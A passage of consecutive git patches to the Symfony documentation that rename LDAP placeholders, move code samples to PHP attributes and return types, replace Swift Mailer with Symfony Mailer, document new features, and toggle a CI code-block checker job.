 For example, with a ``uid_key`` of ``uid``, and if you are trying to
 load the user ``fabpot``, the final string will be: ``(uid=fabpot)``.
 
 If you pass ``null`` as the value of this option, the default filter is used
-``({uid_key}={username})``.
+``({uid_key}={user_identifier})``.
 
 To prevent `LDAP injection`_, the username will be escaped.
 
@@ -324,15 +329,15 @@ number or contain white spaces.
 dn_string
 .........
 
-**type**: ``string`` **default**: ``{username}``
+**type**: ``string`` **default**: ``{user_identifier}``
 
 This key defines the form of the string used to compose the
-DN of the user, from the username. The ``{username}`` string is
+DN of the user, from the username. The ``{user_identifier}`` string is
 replaced by the actual username of the person trying to authenticate.
 
 For example, if your users have DN strings in the form
 ``uid=einstein,dc=example,dc=com``, then the ``dn_string`` will be
-``uid={username},dc=example,dc=com``.
+``uid={user_identifier},dc=example,dc=com``.
 
 query_string
 ............
@@ -342,8 +347,8 @@ query_string
 This (optional) key makes the user provider search for a user and then use the
 found DN for the bind process. This is useful when using multiple LDAP user
 providers with different ``base_dn``. The value of this option must be a valid
-search string (e.g. ``uid="{username}"``). The placeholder value will be
-replaced by the actual username.
+search string (e.g. ``uid="{user_identifier}"``). The placeholder value will be
+replaced by the actual user identifier.
 
 When this option is used, ``query_string`` will search in the DN specified by
 ``dn_string`` and the DN resulted of the ``query_string`` will be used to
@@ -376,7 +381,7 @@ Configuration example for form login
                     form_login_ldap:
                         # ...
                         service: Symfony\Component\Ldap\Ldap
-                        dn_string: 'uid={username},dc=example,dc=com'
+                        dn_string: 'uid={user_identifier},dc=example,dc=com'
 
     .. code-block:: xml
 
@@ -393,7 +398,7 @@ Configuration example for form login
             <config>
                 <firewall name="main">
                     <form-login-ldap service="Symfony\Component\Ldap\Ldap"
-                        dn-string="uid={username},dc=example,dc=com"/>
+                        dn-string="uid={user_identifier},dc=example,dc=com"/>
                 </firewall>
             </config>
         </srv:container>
@@ -408,7 +413,7 @@ Configuration example for form login
             $security->firewall('main')
                 ->formLoginLdap()
                     ->service(Ldap::class)
-                    ->dnString('uid={username},dc=example,dc=com')
+                    ->dnString('uid={user_identifier},dc=example,dc=com')
             ;
         };
 
@@ -428,7 +433,7 @@ Configuration example for HTTP Basic
                     stateless: true
                     http_basic_ldap:
                         service: Symfony\Component\Ldap\Ldap
-                        dn_string: 'uid={username},dc=example,dc=com'
+                        dn_string: 'uid={user_identifier},dc=example,dc=com'
 
     .. code-block:: xml
 
@@ -447,7 +452,7 @@ Configuration example for HTTP Basic
 
                 <firewall name="main" stateless="true">
                     <http-basic-ldap service="Symfony\Component\Ldap\Ldap"
-                        dn-string="uid={username},dc=example,dc=com"/>
+                        dn-string="uid={user_identifier},dc=example,dc=com"/>
                 </firewall>
             </config>
         </srv:container>
@@ -463,7 +468,7 @@ Configuration example for HTTP Basic
                 ->stateless(true)
                 ->formLoginLdap()
                     ->service(Ldap::class)
-                    ->dnString('uid={username},dc=example,dc=com')
+                    ->dnString('uid={user_identifier},dc=example,dc=com')
             ;
         };
 
@@ -484,7 +489,7 @@ Configuration example for form login and query_string
                     form_login_ldap:
                         service: Symfony\Component\Ldap\Ldap
                         dn_string: 'dc=example,dc=com'
-                        query_string: '(&(uid={username})(memberOf=cn=users,ou=Services,dc=example,dc=com))'
+                        query_string: '(&(uid={user_identifier})(memberOf=cn=users,ou=Services,dc=example,dc=com))'
                         search_dn: '...'
                         search_password: 'the-raw-password'
 
@@ -505,7 +510,7 @@ Configuration example for form login and query_string
                     <!-- ... -->
                     <form-login-ldap service="Symfony\Component\Ldap\Ldap"
                         dn-string="dc=example,dc=com"
-                        query-string="(&amp;(uid={username})(memberOf=cn=users,ou=Services,dc=example,dc=com))"
+                        query-string="(&amp;(uid={user_identifier})(memberOf=cn=users,ou=Services,dc=example,dc=com))"
                         search-dn="..."
                         search-password="the-raw-password"/>
                 </firewall>
@@ -524,7 +529,7 @@ Configuration example for form login and query_string
                 ->formLoginLdap()
                     ->service(Ldap::class)
                     ->dnString('dc=example,dc=com')
-                    ->queryString('(&(uid={username})(memberOf=cn=users,ou=Services,dc=example,dc=com))')
+                    ->queryString('(&(uid={user_identifier})(memberOf=cn=users,ou=Services,dc=example,dc=com))')
                     ->searchDn('...')
                     ->searchPassword('the-raw-password')
             ;

From e955ae85f7ff90e2f131d372968ebeb238a96f34 Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@rushlow.dev>
Date: Mon, 1 Aug 2022 14:24:22 -0400
Subject: [PATCH 3474/7107] [Doctrine] show attributes for make:entity in
 association docs

---
 doctrine/associations.rst | 20 ++++++++------------
 1 file changed, 8 insertions(+), 12 deletions(-)

diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 470e48059f2..0468b03becd 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -68,19 +68,16 @@ This will generate your new entity class::
 
     // ...
 
+    #[ORM\Entity(repositoryClass: CategoryRepository::class)]
     class Category
     {
-        /**
-         * @ORM\Id
-         * @ORM\GeneratedValue
-         * @ORM\Column(type="integer")
-         */
+        #[ORM\Id]
+        #[ORM\GeneratedValue]
+        #[ORM\Column]
         private $id;
 
-        /**
-         * @ORM\Column(type="string")
-         */
-        private $name;
+        #[ORM\Column]
+        private string $name;
 
         // ... getters and setters
     }
@@ -380,12 +377,11 @@ Now you can see this new code in action! Imagine you're inside a controller::
     use App\Entity\Product;
     use Doctrine\Persistence\ManagerRegistry;
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
 
     class ProductController extends AbstractController
     {
-        /**
-         * @Route("/product", name="product")
-         */
+        #[Route('/product', name: 'product')]
         public function index(ManagerRegistry $doctrine): Response
         {
             $category = new Category();

From e475cf0521f862867a0df982b30e38e512e52c29 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Mon, 1 Aug 2022 20:32:24 +0200
Subject: [PATCH 3475/7107] [HttpKernel] Add return type for handle method

Response return type hint has been added in v6.0
---
 components/http_kernel.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 93d2751a9be..52a0cee8332 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -67,7 +67,7 @@ that system::
             Request $request,
             int $type = self::MAIN_REQUEST,
             bool $catch = true
-        );
+        ): Response;
     }
 
 Internally, :method:`HttpKernel::handle() <Symfony\\Component\\HttpKernel\\HttpKernel::handle>` -

From 45767ac524584c35436416f46ac833f53493bc56 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Mon, 1 Aug 2022 21:27:11 +0200
Subject: [PATCH 3476/7107] Fix typo choice_translation_domain option

---
 .../forms/types/options/choice_translation_domain.rst.inc      | 3 ---
 .../types/options/choice_translation_domain_disabled.rst.inc   | 3 +++
 .../types/options/choice_translation_domain_enabled.rst.inc    | 3 +++
 3 files changed, 6 insertions(+), 3 deletions(-)

diff --git a/reference/forms/types/options/choice_translation_domain.rst.inc b/reference/forms/types/options/choice_translation_domain.rst.inc
index e676567a057..fa2dcef217f 100644
--- a/reference/forms/types/options/choice_translation_domain.rst.inc
+++ b/reference/forms/types/options/choice_translation_domain.rst.inc
@@ -1,6 +1,3 @@
-``choice_translation_domain``
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
 This option determines if the choice values should be translated and in which
 translation domain.
 
diff --git a/reference/forms/types/options/choice_translation_domain_disabled.rst.inc b/reference/forms/types/options/choice_translation_domain_disabled.rst.inc
index d9e711f0a07..117d3d9a390 100644
--- a/reference/forms/types/options/choice_translation_domain_disabled.rst.inc
+++ b/reference/forms/types/options/choice_translation_domain_disabled.rst.inc
@@ -1,3 +1,6 @@
+``choice_translation_domain``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
 **type**: ``string``, ``boolean`` or ``null`` **default**: ``false``
 
 .. include:: /reference/forms/types/options/choice_translation_domain.rst.inc
diff --git a/reference/forms/types/options/choice_translation_domain_enabled.rst.inc b/reference/forms/types/options/choice_translation_domain_enabled.rst.inc
index dad2666f9c4..2f6722f7838 100644
--- a/reference/forms/types/options/choice_translation_domain_enabled.rst.inc
+++ b/reference/forms/types/options/choice_translation_domain_enabled.rst.inc
@@ -1,3 +1,6 @@
+``choice_translation_domain``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
 **type**: ``string``, ``boolean`` or ``null`` **default**: ``true``
 
 .. include:: /reference/forms/types/options/choice_translation_domain.rst.inc

From 1c9b524c9b05ed181888f70cef7af20eacc75679 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 1 Aug 2022 21:33:10 +0200
Subject: [PATCH 3477/7107] Better explaining what `getParent` actually does

Main reason for changing this is to stop presenting `getParent()` of being the "default" (or normal) way of doing it.

* I removed the "PHP extension" note-box, cause the (new) text for `getParent()` makes it clear what this does.
* I moved `finishView()` one paragraph up (didn't change anything)
* Moved all `getParent`-related stuff into its paragraph, and moved it to the top (since it's the most important question in the beginning)
---
 form/create_custom_field_type.rst | 48 ++++++++++---------------------
 1 file changed, 15 insertions(+), 33 deletions(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 20861ca13bc..af9e79f7723 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -55,19 +55,11 @@ By convention they are stored in the ``src/Form/Type/`` directory::
         }
     }
 
-The methods of the ``FormTypeInterface`` are explained in detail later in
-this article. Here, ``getParent()`` method defines the base type
-(``ChoiceType``) and ``configureOptions()`` overrides some of its options.
+``getParent()`` tells Symfony to take ``ChoiceType`` as a starting point,
+then ``configureOptions()`` overrides some of its options. (All methods of the
+``FormTypeInterface`` are explained in detail later in this article.)
 The resulting form type is a choice field with predefined choices.
 
-.. note::
-
-    The PHP class extension mechanism and the Symfony form field extension
-    mechanism are not the same. The parent type returned in ``getParent()`` is
-    what Symfony uses to build and manage the field type. Making the PHP class
-    extend from ``AbstractType`` is only a convenient way of implementing the
-    required ``FormTypeInterface``.
-
 Now you can add this form type when :doc:`creating Symfony forms </forms>`::
 
     // src/Form/Type/OrderType.php
@@ -123,15 +115,17 @@ convenient to extend instead from :class:`Symfony\\Component\\Form\\AbstractType
         // ...
     }
 
-When a form type doesn't extend from another specific type, there's no need to
-implement the ``getParent()`` method (Symfony will make the type extend from the
-generic :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType`,
-which is the parent of all the other types).
-
 These are the most important methods that a form type class can define:
 
 .. _form-type-methods-explanation:
 
+``getParent()``
+    When returning a (fully-qualified) class name here, Symfony will call each
+    method of that type (i.e. ``buildForm()``, ``buildView()``, etc.) and all its
+    type extensions, before calling the corresponding method of your custom type.
+    This is probably a good idea if you're just changing some details of an
+    existing type. To start from scratch, just omit ``getParent()``.
+
 ``buildForm()``
     It adds and configures other types into this type. It's the same method used
     when :ref:`creating Symfony form classes <creating-forms-in-classes>`.
@@ -139,28 +133,16 @@ These are the most important methods that a form type class can define:
 ``buildView()``
     It sets any extra variables you'll need when rendering the field in a template.
 
-``configureOptions()``
-    It defines the options configurable when using the form type, which are also
-    the options that can be used in ``buildForm()`` and ``buildView()``
-    methods. Options are inherited from parent types and parent type
-    extensions, but you can create any custom option you need.
-
 ``finishView()``
     When creating a form type that consists of many fields, this method allows
     to modify the "view" of any of those fields. For any other use case, it's
     recommended to use ``buildView()`` instead.
 
-``getParent()``
-    If your custom type is based on another type (i.e. they share some
-    functionality) add this method to return the fully-qualified class name
-    of that original type. Do not use PHP inheritance for this.
-    Symfony will call all the form type methods (``buildForm()``,
-    ``buildView()``, etc.) of the parent type and it will call all its type
-    extensions before calling the ones defined in your custom type.
-
-    By default, the ``AbstractType`` class returns the generic
-    :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType`
-    type, which is the root parent for all form types in the Form component.
+``configureOptions()``
+    It defines the options configurable when using the form type, which are also
+    the options that can be used in ``buildForm()`` and ``buildView()``
+    methods. Options are inherited from parent types and parent type
+    extensions, but you can create any custom option you need.
 
 Defining the Form Type
 ~~~~~~~~~~~~~~~~~~~~~~

From a407cf83a8ea4081a68033c036789f23813a0d4c Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Tue, 2 Aug 2022 20:03:08 +0200
Subject: [PATCH 3478/7107] [ErrorHandler] Add return type hints

Added return type hints for normalize & supportsNormalization (v6.0)
---
 controller/error_pages.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 320c1aaae62..0862c506d74 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -220,7 +220,7 @@ contents, create a new Normalizer that supports the ``FlattenException`` input::
 
     class MyCustomProblemNormalizer implements NormalizerInterface
     {
-        public function normalize($exception, string $format = null, array $context = [])
+        public function normalize($exception, string $format = null, array $context = []): array
         {
             return [
                 'content' => 'This is my custom problem normalizer.',
@@ -231,7 +231,7 @@ contents, create a new Normalizer that supports the ``FlattenException`` input::
             ];
         }
 
-        public function supportsNormalization($data, string $format = null)
+        public function supportsNormalization($data, string $format = null): bool
         {
             return $data instanceof FlattenException;
         }

From 721aa63d8c4fc25b3054682b52105c8acc32a56b Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Tue, 2 Aug 2022 22:24:36 +0200
Subject: [PATCH 3479/7107] [Lock] Add reference tip for the InMemoryStore lock

---
 components/lock.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/components/lock.rst b/components/lock.rst
index 6660b9c9965..1c141e16e73 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -667,6 +667,14 @@ PHP process is terminated::
     Zookeeper does not require a TTL as the nodes used for locking are ephemeral
     and die when the PHP process is terminated.
 
+InMemoryStore
+~~~~~~~~~~~~~
+
+.. tip::
+
+    An ``InMemoryStore`` is available for saving lock in memory during a process,
+    and can be useful for testing.
+
 Reliability
 -----------
 

From b26bb7860a6a324a70e4f3eaa2374b8e1bb7afc1 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Tue, 2 Aug 2022 23:04:43 +0200
Subject: [PATCH 3480/7107] Remove reference of Swift Mailer

---
 controller/soap_web_service.rst | 19 ++++++++++++-------
 1 file changed, 12 insertions(+), 7 deletions(-)

diff --git a/controller/soap_web_service.rst b/controller/soap_web_service.rst
index effa613c1c5..fe92a60c4ba 100644
--- a/controller/soap_web_service.rst
+++ b/controller/soap_web_service.rst
@@ -27,22 +27,27 @@ In this case, the SOAP service will allow the client to call a method called
     // src/Service/HelloService.php
     namespace App\Service;
 
+    use Symfony\Component\Mailer\MailerInterface;
+    use Symfony\Component\Mime\Email;
+
     class HelloService
     {
-        private $mailer;
+        private MailerInterface $mailer;
 
-        public function __construct(\Swift_Mailer $mailer)
+        public function __construct(MailerInterface $mailer)
         {
             $this->mailer = $mailer;
         }
 
-        public function hello($name)
+        public function hello(string $name): string
         {
-            $message = (new \Swift_Message('Hello Service'))
-                ->setTo('me@example.com')
-                ->setBody($name.' says hi!');
+            $email = (new Email())
+                ->from('admin@example.com')
+                ->to('me@example.com')
+                ->subject('Hello Service')
+                ->text($name.' says hi!');
 
-            $this->mailer->send($message);
+            $this->mailer->send($email);
 
             return 'Hello, '.$name;
         }

From 18006fb92dc88e25a83fea00c334a265cb10f922 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Tue, 2 Aug 2022 23:24:47 +0200
Subject: [PATCH 3481/7107] [Mailer] Document the stop() method of
 SmtpTransport

---
 mailer.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index fd079e260c3..e83c60e20c0 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1240,6 +1240,19 @@ disable asynchronous delivery.
                 ->messageBus('app.another_bus');
         };
 
+.. note::
+
+    In cases of long-running scripts, and when Mailer uses the
+    :class:`Symfony\\Component\\Mailer\\Transport\\Smtp\\SmtpTransport`
+    you may manually disconnect from the SMTP server to avoid keeping
+    an open connection to the SMTP server in between sending emails.
+    You can do so by using the ``stop()`` method.
+
+.. versionadded:: 6.1
+
+    The :method:`Symfony\\Component\\Mailer\\Transport\\Smtp\\SmtpTransport::stop()`
+    method was made public in Symfony 6.1.
+
 Adding Tags and Metadata to Emails
 ----------------------------------
 

From 1c691ffa8f31e6819eac69e0b1e9621a73a4699a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 1 Aug 2022 17:11:01 +0200
Subject: [PATCH 3482/7107] [Console] Document the option about progress bar
 starting points

---
 components/console/helpers/progressbar.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index a4b721dfad3..94f2a550f80 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -46,6 +46,22 @@ Instead of advancing the bar by a number of steps (with the
 you can also set the current progress by calling the
 :method:`Symfony\\Component\\Console\\Helper\\ProgressBar::setProgress` method.
 
+If you are resuming long-standing tasks, it's useful to start drawing the progress
+bar at a certain point. Use the second optional argument of ``start()`` to set
+that starting point::
+
+    use Symfony\Component\Console\Helper\ProgressBar;
+
+    // creates a new progress bar (100 units)
+    $progressBar = new ProgressBar($output, 100);
+
+    // displays the progress bar starting at 25 completed units
+    $progressBar->start(null, 25);
+
+.. versionadded:: 6.2
+
+    The option to start a progress bar at a certain point was introduced in Symfony 6.2.
+
 .. tip::
 
     If your platform doesn't support ANSI codes, updates to the progress

From a6e9bc75117b6d15e8ce63f1178c9ab5887b6d9d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 1 Aug 2022 17:37:11 +0200
Subject: [PATCH 3483/7107] [Intl] Document the emoji transliterator

---
 components/intl.rst   | 31 +++++++++++++++++++++++++++++++
 components/string.rst |  7 +++++++
 2 files changed, 38 insertions(+)

diff --git a/components/intl.rst b/components/intl.rst
index 8e5ce01be50..df3d579540e 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -39,6 +39,7 @@ This component provides the following ICU data:
 * `Locales`_
 * `Currencies`_
 * `Timezones`_
+* `Emoji Transliteration`_
 
 Language and Script Names
 ~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -359,6 +360,35 @@ to catching the exception, you can also check if a given timezone ID is valid::
 
     $isValidTimezone = Timezones::exists($timezoneId);
 
+.. _component-intl-emoji-transliteration:
+
+Emoji Transliteration
+~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.2
+
+    The Empoji transliteration feature was introduced in Symfony 6.2.
+
+The ``EmojiTransliterator`` class provides an utility to translate emojis into
+their textual representation in all languages based on the `Unicode CLDR dataset`_::
+
+    use Symfony\Component\Intl\Transliterator\EmojiTransliterator;
+
+    // describe emojis in English
+    $transliterator = EmojiTransliterator::create('en');
+    $transliterator->transliterate('Menus with 🍕 or 🍝');
+    // => 'Menus with pizza or spaghetti'
+
+    // describe emojis in Ukrainian
+    $transliterator = EmojiTransliterator::create('uk');
+    $transliterator->transliterate('Menus with 🍕 or 🍝');
+    // => 'Menus with піца or спагеті'
+
+.. tip::
+
+    Combine this emoji transliterator with the :ref:`Symfony String slugger <string-slugger>`
+    to improve the slugs of contents that include emojis (e.g. for URLs).
+
 Learn more
 ----------
 
@@ -381,3 +411,4 @@ Learn more
 .. _`daylight saving time (DST)`: https://en.wikipedia.org/wiki/Daylight_saving_time
 .. _`ISO 639-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_639-1
 .. _`ISO 639-2 alpha-3 (2T)`: https://en.wikipedia.org/wiki/ISO_639-2
+.. _`Unicode CLDR dataset`: https://github.com/unicode-org/cldr
diff --git a/components/string.rst b/components/string.rst
index c71d68a704e..455ef90eafe 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -451,6 +451,8 @@ letter A with ring above"*) or a sequence of two code points (``U+0061`` =
     u('å')->normalize(UnicodeString::NFD);
     u('å')->normalize(UnicodeString::NFKD);
 
+.. _string-slugger:
+
 Slugger
 -------
 
@@ -486,6 +488,11 @@ another separator as the second argument::
     $slug = $slugger->slug('Wôrķšƥáçè ~~sèťtïñğš~~', '/');
     // $slug = 'Workspace/settings'
 
+.. tip::
+
+    Combine this slugger with the :ref:`Symfony emoji transliterator <component-intl-emoji-transliteration>`
+    to improve the slugs of contents that include emojis (e.g. for URLs).
+
 The slugger transliterates the original string into the Latin script before
 applying the other transformations. The locale of the original string is
 detected automatically, but you can define it explicitly::

From 8f250a28a0b30a2a7e601efecd2ef23d8106e134 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 3 Aug 2022 12:58:35 +0200
Subject: [PATCH 3484/7107] Disable code checker temporarily in GitHub CI until
 we can fix it

---
 .github/workflows/ci.yaml | 138 +++++++++++++++++++-------------------
 1 file changed, 69 insertions(+), 69 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index ff907ded099..908304db656 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -74,72 +74,72 @@ jobs:
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
-    symfony-code-block-checker:
-        name: Code Blocks
-        runs-on: Ubuntu-20.04
-        continue-on-error: true
-        steps:
-          - name: Checkout code
-            uses: actions/checkout@v2
-            with:
-                path: 'docs'
-
-          - name: Set-up PHP
-            uses: shivammathur/setup-php@v2
-            with:
-                php-version: 8.1
-                coverage: none
-
-          - name: Fetch branch from where the PR started
-            working-directory: docs
-            run: git fetch --no-tags --prune --depth=1 origin +refs/heads/*:refs/remotes/origin/*
-
-          - name: Find modified files
-            id: find-files
-            working-directory: docs
-            run: echo "::set-output name=files::$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')"
-
-          - name: Get composer cache directory
-            id: composercache
-            working-directory: docs/_build
-            run: echo "::set-output name=dir::$(composer config cache-files-dir)"
-
-          - name: Cache dependencies
-            if: ${{ steps.find-files.outputs.files }}
-            uses: actions/cache@v2
-            with:
-                path: ${{ steps.composercache.outputs.dir }}
-                key: ${{ runner.os }}-composer-codeBlocks-${{ hashFiles('_checker/composer.lock', '_sf_app/composer.lock') }}
-                restore-keys: ${{ runner.os }}-composer-codeBlocks-
-
-          - name: Install dependencies
-            if: ${{ steps.find-files.outputs.files }}
-            run: composer create-project symfony-tools/code-block-checker:@dev _checker
-
-          - name: Allow Flex
-            if: ${{ steps.find-files.outputs.files }}
-            run: |
-              composer config --no-plugins allow-plugins.symfony/flex true
-
-          - name: Install test application
-            if: ${{ steps.find-files.outputs.files }}
-            run: |
-              git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-tools/symfony-application.git _sf_app
-              cd _sf_app
-              composer update
-
-          - name: Generate baseline
-            if: ${{ steps.find-files.outputs.files }}
-            working-directory: docs
-            run: |
-              CURRENT=$(git rev-parse HEAD)
-              git checkout -m ${{ github.base_ref }}
-              ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --generate-baseline=baseline.json --symfony-application=`realpath ../_sf_app`
-              git checkout -m $CURRENT
-              cat baseline.json
-
-          - name: Verify examples
-            if: ${{ steps.find-files.outputs.files }}
-            working-directory: docs
-            run: |
-              ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --baseline=baseline.json --output-format=github --symfony-application=`realpath ../_sf_app`
+    # symfony-code-block-checker:
+    #     name: Code Blocks
+    #     runs-on: Ubuntu-20.04
+    #     continue-on-error: true
+    #     steps:
+    #       - name: Checkout code
+    #         uses: actions/checkout@v2
+    #         with:
+    #             path: 'docs'
+
+    #       - name: Set-up PHP
+    #         uses: shivammathur/setup-php@v2
+    #         with:
+    #             php-version: 8.1
+    #             coverage: none
+
+    #       - name: Fetch branch from where the PR started
+    #         working-directory: docs
+    #         run: git fetch --no-tags --prune --depth=1 origin +refs/heads/*:refs/remotes/origin/*
+
+    #       - name: Find modified files
+    #         id: find-files
+    #         working-directory: docs
+    #         run: echo "::set-output name=files::$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')"
+
+    #       - name: Get composer cache directory
+    #         id: composercache
+    #         working-directory: docs/_build
+    #         run: echo "::set-output name=dir::$(composer config cache-files-dir)"
+
+    #       - name: Cache dependencies
+    #         if: ${{ steps.find-files.outputs.files }}
+    #         uses: actions/cache@v2
+    #         with:
+    #             path: ${{ steps.composercache.outputs.dir }}
+    #             key: ${{ runner.os }}-composer-codeBlocks-${{ hashFiles('_checker/composer.lock', '_sf_app/composer.lock') }}
+    #             restore-keys: ${{ runner.os }}-composer-codeBlocks-
+
+    #       - name: Install dependencies
+    #         if: ${{ steps.find-files.outputs.files }}
+    #         run: composer create-project symfony-tools/code-block-checker:@dev _checker
+
+    #       - name: Allow Flex
+    #         if: ${{ steps.find-files.outputs.files }}
+    #         run: |
+    #           composer config --no-plugins allow-plugins.symfony/flex true
+
+    #       - name: Install test application
+    #         if: ${{ steps.find-files.outputs.files }}
+    #         run: |
+    #           git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-tools/symfony-application.git _sf_app
+    #           cd _sf_app
+    #           composer update
+
+    #       - name: Generate baseline
+    #         if: ${{ steps.find-files.outputs.files }}
+    #         working-directory: docs
+    #         run: |
+    #           CURRENT=$(git rev-parse HEAD)
+    #           git checkout -m ${{ github.base_ref }}
+    #           ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --generate-baseline=baseline.json --symfony-application=`realpath ../_sf_app`
+    #           git checkout -m $CURRENT
+    #           cat baseline.json
+
+    #       - name: Verify examples
+    #         if: ${{ steps.find-files.outputs.files }}
+    #         working-directory: docs
+    #         run: |
+    #           ../_checker/code-block-checker.php verify:docs `pwd` ${{ steps.find-files.outputs.files }} --baseline=baseline.json --output-format=github --symfony-application=`realpath ../_sf_app`

From 4e7556d3d8db007eb8ff6ffea22acb5174aea86b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 3 Aug 2022 13:07:35 +0200
Subject: [PATCH 3485/7107] [ExpressionLanguage] Remove an unused reference

---
 components/expression_language/syntax.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index 6e457acd7ea..9f0ace947b0 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -353,5 +353,3 @@ expressions (e.g. the request, the current user, etc.):
 * :doc:`Variables available in security expressions </security/expressions>`;
 * :doc:`Variables available in service container expressions </service_container/expression_language>`;
 * :ref:`Variables available in routing expressions <routing-matching-expressions>`.
-
-.. _`null-coalescing operator`: https://www.php.net/manual/en/language.operators.comparison.php#language.operators.comparison.coalesce

From fcb4b81df98bb8271d6f00a0bf58c4cee3147d9b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 3 Aug 2022 13:08:21 +0200
Subject: [PATCH 3486/7107] [ExpressionLanguage] Readd a needed reference

---
 components/expression_language/syntax.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index bc324e1a904..de0fddf80bf 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -370,3 +370,5 @@ expressions (e.g. the request, the current user, etc.):
 * :doc:`Variables available in security expressions </security/expressions>`;
 * :doc:`Variables available in service container expressions </service_container/expression_language>`;
 * :ref:`Variables available in routing expressions <routing-matching-expressions>`.
+
+.. _`null-coalescing operator`: https://www.php.net/manual/en/language.operators.comparison.php#language.operators.comparison.coalesce

From 7bff8b5c1afc18965f9eed95582394104e2867db Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Wed, 3 Aug 2022 13:07:35 +0200
Subject: [PATCH 3487/7107] Enable code blocks

---
 .github/workflows/ci.yaml | 133 ++++++++++++++++++--------------------
 _build/composer.json      |   5 +-
 security.rst              |   1 -
 3 files changed, 68 insertions(+), 71 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 908304db656..b241ec33747 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -74,72 +74,67 @@ jobs:
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
-    # symfony-code-block-checker:
-    #     name: Code Blocks
-    #     runs-on: Ubuntu-20.04
-    #     continue-on-error: true
-    #     steps:
-    #       - name: Checkout code
-    #         uses: actions/checkout@v2
-    #         with:
-    #             path: 'docs'
-
-    #       - name: Set-up PHP
-    #         uses: shivammathur/setup-php@v2
-    #         with:
-    #             php-version: 8.1
-    #             coverage: none
-
-    #       - name: Fetch branch from where the PR started
-    #         working-directory: docs
-    #         run: git fetch --no-tags --prune --depth=1 origin +refs/heads/*:refs/remotes/origin/*
-
-    #       - name: Find modified files
-    #         id: find-files
-    #         working-directory: docs
-    #         run: echo "::set-output name=files::$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')"
-
-    #       - name: Get composer cache directory
-    #         id: composercache
-    #         working-directory: docs/_build
-    #         run: echo "::set-output name=dir::$(composer config cache-files-dir)"
-
-    #       - name: Cache dependencies
-    #         if: ${{ steps.find-files.outputs.files }}
-    #         uses: actions/cache@v2
